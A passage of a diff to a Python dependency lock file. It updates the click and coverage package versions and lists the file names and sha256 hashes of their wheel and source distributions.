"charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"}, + {file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"}, + {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"}, ] [[package]] name = "click" -version = "8.2.1" +version = "8.3.1" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"}, - {file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"}, + {file = "click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6"}, + {file = "click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a"}, ] [package.dependencies] @@ -373,163 +430,193 @@ markers = {main = "platform_system == \"Windows\"", dev = "sys_platform == \"win [[package]] name = "coverage" -version = "7.10.6" +version = "7.13.4" description = "Code coverage measurement for Python" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "coverage-7.10.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:70e7bfbd57126b5554aa482691145f798d7df77489a177a6bef80de78860a356"}, - {file = "coverage-7.10.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e41be6f0f19da64af13403e52f2dec38bbc2937af54df8ecef10850ff8d35301"}, - {file = "coverage-7.10.6-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:c61fc91ab80b23f5fddbee342d19662f3d3328173229caded831aa0bd7595460"}, - {file = "coverage-7.10.6-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:10356fdd33a7cc06e8051413140bbdc6f972137508a3572e3f59f805cd2832fd"}, - {file = "coverage-7.10.6-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:80b1695cf7c5ebe7b44bf2521221b9bb8cdf69b1f24231149a7e3eb1ae5fa2fb"}, - {file = "coverage-7.10.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2e4c33e6378b9d52d3454bd08847a8651f4ed23ddbb4a0520227bd346382bbc6"}, - {file = "coverage-7.10.6-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:c8a3ec16e34ef980a46f60dc6ad86ec60f763c3f2fa0db6d261e6e754f72e945"}, - {file = "coverage-7.10.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7d79dabc0a56f5af990cc6da9ad1e40766e82773c075f09cc571e2076fef882e"}, - {file = "coverage-7.10.6-cp310-cp310-win32.whl", hash = "sha256:86b9b59f2b16e981906e9d6383eb6446d5b46c278460ae2c36487667717eccf1"}, - {file = "coverage-7.10.6-cp310-cp310-win_amd64.whl", hash = "sha256:e132b9152749bd33534e5bd8565c7576f135f157b4029b975e15ee184325f528"}, - {file = "coverage-7.10.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c706db3cabb7ceef779de68270150665e710b46d56372455cd741184f3868d8f"}, - {file = "coverage-7.10.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8e0c38dc289e0508ef68ec95834cb5d2e96fdbe792eaccaa1bccac3966bbadcc"}, - {file = "coverage-7.10.6-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:752a3005a1ded28f2f3a6e8787e24f28d6abe176ca64677bcd8d53d6fe2ec08a"}, - {file = "coverage-7.10.6-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:689920ecfd60f992cafca4f5477d55720466ad2c7fa29bb56ac8d44a1ac2b47a"}, - {file = "coverage-7.10.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ec98435796d2624d6905820a42f82149ee9fc4f2d45c2c5bc5a44481cc50db62"}, - {file = "coverage-7.10.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b37201ce4a458c7a758ecc4efa92fa8ed783c66e0fa3c42ae19fc454a0792153"}, - {file = "coverage-7.10.6-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:2904271c80898663c810a6b067920a61dd8d38341244a3605bd31ab55250dad5"}, - {file = "coverage-7.10.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5aea98383463d6e1fa4e95416d8de66f2d0cb588774ee20ae1b28df826bcb619"}, - {file = "coverage-7.10.6-cp311-cp311-win32.whl", hash = "sha256:e3fb1fa01d3598002777dd259c0c2e6d9d5e10e7222976fc8e03992f972a2cba"}, - {file = "coverage-7.10.6-cp311-cp311-win_amd64.whl", hash = "sha256:f35ed9d945bece26553d5b4c8630453169672bea0050a564456eb88bdffd927e"}, - {file = "coverage-7.10.6-cp311-cp311-win_arm64.whl", hash = "sha256:99e1a305c7765631d74b98bf7dbf54eeea931f975e80f115437d23848ee8c27c"}, - {file = "coverage-7.10.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5b2dd6059938063a2c9fee1af729d4f2af28fd1a545e9b7652861f0d752ebcea"}, - {file = "coverage-7.10.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:388d80e56191bf846c485c14ae2bc8898aa3124d9d35903fef7d907780477634"}, - {file = "coverage-7.10.6-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:90cb5b1a4670662719591aa92d0095bb41714970c0b065b02a2610172dbf0af6"}, - {file = "coverage-7.10.6-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:961834e2f2b863a0e14260a9a273aff07ff7818ab6e66d2addf5628590c628f9"}, - {file = "coverage-7.10.6-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf9a19f5012dab774628491659646335b1928cfc931bf8d97b0d5918dd58033c"}, - {file = "coverage-7.10.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:99c4283e2a0e147b9c9cc6bc9c96124de9419d6044837e9799763a0e29a7321a"}, - {file = "coverage-7.10.6-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:282b1b20f45df57cc508c1e033403f02283adfb67d4c9c35a90281d81e5c52c5"}, - {file = "coverage-7.10.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:8cdbe264f11afd69841bd8c0d83ca10b5b32853263ee62e6ac6a0ab63895f972"}, - {file = "coverage-7.10.6-cp312-cp312-win32.whl", hash = "sha256:a517feaf3a0a3eca1ee985d8373135cfdedfbba3882a5eab4362bda7c7cf518d"}, - {file = "coverage-7.10.6-cp312-cp312-win_amd64.whl", hash = "sha256:856986eadf41f52b214176d894a7de05331117f6035a28ac0016c0f63d887629"}, - {file = "coverage-7.10.6-cp312-cp312-win_arm64.whl", hash = "sha256:acf36b8268785aad739443fa2780c16260ee3fa09d12b3a70f772ef100939d80"}, - {file = "coverage-7.10.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ffea0575345e9ee0144dfe5701aa17f3ba546f8c3bb48db62ae101afb740e7d6"}, - {file = "coverage-7.10.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:95d91d7317cde40a1c249d6b7382750b7e6d86fad9d8eaf4fa3f8f44cf171e80"}, - {file = "coverage-7.10.6-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3e23dd5408fe71a356b41baa82892772a4cefcf758f2ca3383d2aa39e1b7a003"}, - {file = "coverage-7.10.6-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0f3f56e4cb573755e96a16501a98bf211f100463d70275759e73f3cbc00d4f27"}, - {file = "coverage-7.10.6-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:db4a1d897bbbe7339946ffa2fe60c10cc81c43fab8b062d3fcb84188688174a4"}, - {file = "coverage-7.10.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d8fd7879082953c156d5b13c74aa6cca37f6a6f4747b39538504c3f9c63d043d"}, - {file = "coverage-7.10.6-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:28395ca3f71cd103b8c116333fa9db867f3a3e1ad6a084aa3725ae002b6583bc"}, - {file = "coverage-7.10.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:61c950fc33d29c91b9e18540e1aed7d9f6787cc870a3e4032493bbbe641d12fc"}, - {file = "coverage-7.10.6-cp313-cp313-win32.whl", hash = "sha256:160c00a5e6b6bdf4e5984b0ef21fc860bc94416c41b7df4d63f536d17c38902e"}, - {file = "coverage-7.10.6-cp313-cp313-win_amd64.whl", hash = "sha256:628055297f3e2aa181464c3808402887643405573eb3d9de060d81531fa79d32"}, - {file = "coverage-7.10.6-cp313-cp313-win_arm64.whl", hash = "sha256:df4ec1f8540b0bcbe26ca7dd0f541847cc8a108b35596f9f91f59f0c060bfdd2"}, - {file = "coverage-7.10.6-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:c9a8b7a34a4de3ed987f636f71881cd3b8339f61118b1aa311fbda12741bff0b"}, - {file = "coverage-7.10.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8dd5af36092430c2b075cee966719898f2ae87b636cefb85a653f1d0ba5d5393"}, - {file = "coverage-7.10.6-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0353b0f0850d49ada66fdd7d0c7cdb0f86b900bb9e367024fd14a60cecc1e27"}, - {file = "coverage-7.10.6-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d6b9ae13d5d3e8aeca9ca94198aa7b3ebbc5acfada557d724f2a1f03d2c0b0df"}, - {file = "coverage-7.10.6-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:675824a363cc05781b1527b39dc2587b8984965834a748177ee3c37b64ffeafb"}, - {file = "coverage-7.10.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:692d70ea725f471a547c305f0d0fc6a73480c62fb0da726370c088ab21aed282"}, - {file = "coverage-7.10.6-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:851430a9a361c7a8484a36126d1d0ff8d529d97385eacc8dfdc9bfc8c2d2cbe4"}, - {file = "coverage-7.10.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:d9369a23186d189b2fc95cc08b8160ba242057e887d766864f7adf3c46b2df21"}, - {file = "coverage-7.10.6-cp313-cp313t-win32.whl", hash = "sha256:92be86fcb125e9bda0da7806afd29a3fd33fdf58fba5d60318399adf40bf37d0"}, - {file = "coverage-7.10.6-cp313-cp313t-win_amd64.whl", hash = "sha256:6b3039e2ca459a70c79523d39347d83b73f2f06af5624905eba7ec34d64d80b5"}, - {file = "coverage-7.10.6-cp313-cp313t-win_arm64.whl", hash = "sha256:3fb99d0786fe17b228eab663d16bee2288e8724d26a199c29325aac4b0319b9b"}, - {file = "coverage-7.10.6-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:6008a021907be8c4c02f37cdc3ffb258493bdebfeaf9a839f9e71dfdc47b018e"}, - {file = "coverage-7.10.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:5e75e37f23eb144e78940b40395b42f2321951206a4f50e23cfd6e8a198d3ceb"}, - {file = "coverage-7.10.6-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0f7cb359a448e043c576f0da00aa8bfd796a01b06aa610ca453d4dde09cc1034"}, - {file = "coverage-7.10.6-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c68018e4fc4e14b5668f1353b41ccf4bc83ba355f0e1b3836861c6f042d89ac1"}, - {file = "coverage-7.10.6-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cd4b2b0707fc55afa160cd5fc33b27ccbf75ca11d81f4ec9863d5793fc6df56a"}, - {file = "coverage-7.10.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4cec13817a651f8804a86e4f79d815b3b28472c910e099e4d5a0e8a3b6a1d4cb"}, - {file = "coverage-7.10.6-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:f2a6a8e06bbda06f78739f40bfb56c45d14eb8249d0f0ea6d4b3d48e1f7c695d"}, - {file = "coverage-7.10.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:081b98395ced0d9bcf60ada7661a0b75f36b78b9d7e39ea0790bb4ed8da14747"}, - {file = "coverage-7.10.6-cp314-cp314-win32.whl", hash = "sha256:6937347c5d7d069ee776b2bf4e1212f912a9f1f141a429c475e6089462fcecc5"}, - {file = "coverage-7.10.6-cp314-cp314-win_amd64.whl", hash = "sha256:adec1d980fa07e60b6ef865f9e5410ba760e4e1d26f60f7e5772c73b9a5b0713"}, - {file = "coverage-7.10.6-cp314-cp314-win_arm64.whl", hash = "sha256:a80f7aef9535442bdcf562e5a0d5a5538ce8abe6bb209cfbf170c462ac2c2a32"}, - {file = "coverage-7.10.6-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:0de434f4fbbe5af4fa7989521c655c8c779afb61c53ab561b64dcee6149e4c65"}, - {file = "coverage-7.10.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6e31b8155150c57e5ac43ccd289d079eb3f825187d7c66e755a055d2c85794c6"}, - {file = "coverage-7.10.6-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:98cede73eb83c31e2118ae8d379c12e3e42736903a8afcca92a7218e1f2903b0"}, - {file = "coverage-7.10.6-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f863c08f4ff6b64fa8045b1e3da480f5374779ef187f07b82e0538c68cb4ff8e"}, - {file = "coverage-7.10.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2b38261034fda87be356f2c3f42221fdb4171c3ce7658066ae449241485390d5"}, - {file = "coverage-7.10.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0e93b1476b79eae849dc3872faeb0bf7948fd9ea34869590bc16a2a00b9c82a7"}, - {file = "coverage-7.10.6-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:ff8a991f70f4c0cf53088abf1e3886edcc87d53004c7bb94e78650b4d3dac3b5"}, - {file = "coverage-7.10.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ac765b026c9f33044419cbba1da913cfb82cca1b60598ac1c7a5ed6aac4621a0"}, - {file = "coverage-7.10.6-cp314-cp314t-win32.whl", hash = "sha256:441c357d55f4936875636ef2cfb3bee36e466dcf50df9afbd398ce79dba1ebb7"}, - {file = "coverage-7.10.6-cp314-cp314t-win_amd64.whl", hash = "sha256:073711de3181b2e204e4870ac83a7c4853115b42e9cd4d145f2231e12d670930"}, - {file = "coverage-7.10.6-cp314-cp314t-win_arm64.whl", hash = "sha256:137921f2bac5559334ba66122b753db6dc5d1cf01eb7b64eb412bb0d064ef35b"}, - {file = "coverage-7.10.6-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:90558c35af64971d65fbd935c32010f9a2f52776103a259f1dee865fe8259352"}, - {file = "coverage-7.10.6-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8953746d371e5695405806c46d705a3cd170b9cc2b9f93953ad838f6c1e58612"}, - {file = "coverage-7.10.6-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:c83f6afb480eae0313114297d29d7c295670a41c11b274e6bca0c64540c1ce7b"}, - {file = "coverage-7.10.6-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7eb68d356ba0cc158ca535ce1381dbf2037fa8cb5b1ae5ddfc302e7317d04144"}, - {file = "coverage-7.10.6-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5b15a87265e96307482746d86995f4bff282f14b027db75469c446da6127433b"}, - {file = "coverage-7.10.6-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:fc53ba868875bfbb66ee447d64d6413c2db91fddcfca57025a0e7ab5b07d5862"}, - {file = "coverage-7.10.6-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:efeda443000aa23f276f4df973cb82beca682fd800bb119d19e80504ffe53ec2"}, - {file = "coverage-7.10.6-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9702b59d582ff1e184945d8b501ffdd08d2cee38d93a2206aa5f1365ce0b8d78"}, - {file = "coverage-7.10.6-cp39-cp39-win32.whl", hash = "sha256:2195f8e16ba1a44651ca684db2ea2b2d4b5345da12f07d9c22a395202a05b23c"}, - {file = "coverage-7.10.6-cp39-cp39-win_amd64.whl", hash = "sha256:f32ff80e7ef6a5b5b606ea69a36e97b219cd9dc799bcf2963018a4d8f788cfbf"}, - {file = "coverage-7.10.6-py3-none-any.whl", hash = "sha256:92c4ecf6bf11b2e85fd4d8204814dc26e6a19f0c9d938c207c5cb0eadfcabbe3"}, - {file = "coverage-7.10.6.tar.gz", hash = "sha256:f644a3ae5933a552a29dbb9aa2f90c677a875f80ebea028e5a52a4f429044b90"}, + {file = "coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415"}, + {file = "coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b"}, + {file = "coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a"}, + {file = "coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f"}, + {file = "coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012"}, + {file = "coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def"}, + {file = "coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256"}, + {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda"}, + {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92"}, + {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c"}, + {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58"}, + {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9"}, + {file = "coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf"}, + {file = "coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95"}, + {file = "coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053"}, + {file = "coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11"}, + {file = "coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa"}, + {file = "coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7"}, + {file = "coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00"}, + {file = "coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef"}, + {file = "coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903"}, + {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f"}, + {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299"}, + {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505"}, + {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6"}, + {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9"}, + {file = "coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9"}, + {file = "coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f"}, + {file = "coverage-7.13.4-cp311-cp311-win_arm64.whl", hash = "sha256:79e73a76b854d9c6088fe5d8b2ebe745f8681c55f7397c3c0a016192d681045f"}, + {file = "coverage-7.13.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:02231499b08dabbe2b96612993e5fc34217cdae907a51b906ac7fca8027a4459"}, + {file = "coverage-7.13.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40aa8808140e55dc022b15d8aa7f651b6b3d68b365ea0398f1441e0b04d859c3"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5b856a8ccf749480024ff3bd7310adaef57bf31fd17e1bfc404b7940b6986634"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8248977c2e33aecb2ced42fef99f2d319e9904a36e55a8a68b69207fb7e43edc"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:25381386e80ae727608e662474db537d4df1ecd42379b5ba33c84633a2b36d47"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:ee756f00726693e5ba94d6df2bdfd64d4852d23b09bb0bc700e3b30e6f333985"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fdfc1e28e7c7cdce44985b3043bc13bbd9c747520f94a4d7164af8260b3d91f0"}, + {file = "coverage-7.13.4-cp312-cp312-win32.whl", hash = "sha256:01d4cbc3c283a17fc1e42d614a119f7f438eabb593391283adca8dc86eff1246"}, + {file = "coverage-7.13.4-cp312-cp312-win_amd64.whl", hash = "sha256:9401ebc7ef522f01d01d45532c68c5ac40fb27113019b6b7d8b208f6e9baa126"}, + {file = "coverage-7.13.4-cp312-cp312-win_arm64.whl", hash = "sha256:b1ec7b6b6e93255f952e27ab58fbc68dcc468844b16ecbee881aeb29b6ab4d8d"}, + {file = "coverage-7.13.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b66a2da594b6068b48b2692f043f35d4d3693fb639d5ea8b39533c2ad9ac3ab9"}, + {file = "coverage-7.13.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3599eb3992d814d23b35c536c28df1a882caa950f8f507cef23d1cbf334995ac"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:93550784d9281e374fb5a12bf1324cc8a963fd63b2d2f223503ef0fd4aa339ea"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b720ce6a88a2755f7c697c23268ddc47a571b88052e6b155224347389fdf6a3b"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b322db1284a2ed3aa28ffd8ebe3db91c929b7a333c0820abec3d838ef5b3525"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f4594c67d8a7c89cf922d9df0438c7c7bb022ad506eddb0fdb2863359ff78242"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53d133df809c743eb8bce33b24bcababb371f4441340578cd406e084d94a6148"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76451d1978b95ba6507a039090ba076105c87cc76fc3efd5d35d72093964d49a"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7f57b33491e281e962021de110b451ab8a24182589be17e12a22c79047935e23"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1731dc33dc276dafc410a885cbf5992f1ff171393e48a21453b78727d090de80"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bd60d4fe2f6fa7dff9223ca1bbc9f05d2b6697bc5961072e5d3b952d46e1b1ea"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9181a3ccead280b828fae232df12b16652702b49d41e99d657f46cc7b1f6ec7a"}, + {file = "coverage-7.13.4-cp313-cp313-win32.whl", hash = "sha256:f53d492307962561ac7de4cd1de3e363589b000ab69617c6156a16ba7237998d"}, + {file = "coverage-7.13.4-cp313-cp313-win_amd64.whl", hash = 